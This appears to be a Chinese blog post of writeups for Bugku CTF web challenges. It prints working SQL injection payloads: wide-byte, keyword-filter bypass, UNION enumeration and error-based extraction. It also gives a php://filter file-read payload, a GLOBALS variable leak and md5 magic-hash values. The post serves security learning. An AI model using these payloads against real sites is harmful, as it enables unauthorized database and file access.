Bugku Web题刷题记录(会持续更新)

之前web题做的不太多,现在多刷一点,写一下writeup记录一下,也方便以后复习。

sql注入

宽字符注入,题目说找key表的string字段了,so payload如下:

http://103.238.227.13:10083/?id=1%df%27unionselect string,1 from sql5.key%23

域名解析

这道题写wp的时候打不开了,不过当时做的时候只要把host改成这个ip地址就行了

sql注入2

这个题先是waf,有敏感词直接exit。但是后面有一个过滤xss的函数,会除去<....>之类的东西,所以只要在参数中的敏感词里添加<>就可以注入了。

首先爆数据库名:

http://103.238.227.13:10087/?id=1un<>ion sel<>ect database(),1%23

题目说查key表的hash字段,所以直接再查一下就拿到flag了:

http://103.238.227.13:10087/?id=1un<>ion sel<>ect hash,1 fr<>om sql3.key%23

你必须让他停下

这题也挺无聊的,bp抓包以后多go几次就出来了

本地包含

http://120.24.86.145:8003/?hello=print_r(file('test.php'))

变量1

http://120.24.86.145:8004/index1.php?args=GLOBALS

 

Web5

看源代码,直接把jsfuck丢到Consle里

头等舱

没什么意思的题,直接抓包就可以了

Web4

查看源码urldecode以后整理如下

 

直接submit"67d709b2b54aa2aa648cf6e87a7114f1",就得到flag

flagIndex

用伪协议查看base64加密后的源码

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

解密后的源码里有flag

点击一万次

查看源代码:

在Console里让clicks为999999

然后再点一次就出flag了

备份是个好习惯

地址后添加index.php.bak可以下到源码,打开查看如下

就是找两个不相等的值md5相同,分别传参240610708和QNKCDZO,然后就可以拿到flag了

成绩单

首先获取数据库名

然后爆表名

id=0' union selectdatabase(),table_name,1,1 from information_schema.tables wheretable_schema='skctf_flag'#

爆列名

id=0' union selectdatabase(),table_name,column_name,1 from information_schema.columns wheretable_schema='skctf_flag' and table_name = 'fl4g'#

拿flag

id=0' union select skctf_flag,1,1,1from skctf_flag.fl4g#

 

秋名山老司机

其实这道题本来也挺简单的,直接写脚本获取到数值提交上去就能得到flag了,坑点是必须要在是这个页面的时候才能得到flag

所以直接照着这个页面写,多运行几次就行了,要注意cookie一致,很简单的脚本就不列出来了。

速度要快

抓包以后发现一串base64码

Base64解密并Utf-8解码以后如下

这个值每次都会变,而且要立刻提交,所以写个脚本就行了,也比较简单。

cookies欺骗

刚开始的网址是这样的:

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

filename拿去base64解密,是key.txt,于是尝试filename=index.php的base64码,未果,修改行号,发现出现内容,于是一行一行输出,最终得到如下代码:

根据逻辑,修改一下cookies,得到flag

多次

写这个wp的时候已经是做出来好久了,居然发现都快忘记怎么做了,看来以后做题还是应该留个记录。

第一关

首先经尝试会发现union、select等关键词会报错:

于是尝试看看是不是被过滤的,中间加个and果然不报错了:

由于回显只有一行,所以要让第一个查询变为Flase,即加上and 1=2(顺便把数据库也爆出来)

 

然后一步步尝试发现where和from都没有被过滤,or被过滤了

然后爆表名

爆列名,注意有两个

 

然后那个flag其实没什么卵用,address是第二关:


第二关

可以通过操纵id来注入,这次waf比上次厉害些,敏感词别想着过滤了。

试了一下and 1=1,发现有报错:

可以利用报错注入,首先爆数据库名:

然后爆表名:

http://120.24.86.145:9004/Once_More.php?id=1'or(select count(*)b,concat((select table_name from information_schema.tableswhere table_schema = 'web1002-2' limit 0,1),floor(rand(0)*2))a frominformation_schema.tables group by a)=(1,1)%23

 

看上去是flag2了,我们可以爆一下flag2的列名:

http://120.24.86.145:9004/Once_More.php?id=1'or(select count(*)b,concat((select column_name from information_schema.columnswhere table_schema = 'web1002-2' and table_name='flag2' limit 0,1),floor(rand(0)*2))afrom information_schema.tables group by a)=(1,1)%23

最后想拿flag,发现出现了一个问题:

这个情况表明返回的内容中有回车,substring没有用,于是尝试left,发现没问题,于是直接left就可以出结果了:

http://120.24.86.145:9004/Once_More.php?id=1%27or(select count(*)b,concat(left((select flag2 from flag2 limit0,1),40),floor(rand(0)*2))a from information_schema.tables group by a)=(1,1)%23


第三关

进来发现一张二维码……然后它提示是参数是game,flag在admin中,然而没卵用,感觉game怎么注都没反应,希望有大佬做出来指点一下吧。



初入web坑,欢迎大家互相交流~

  • 5
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值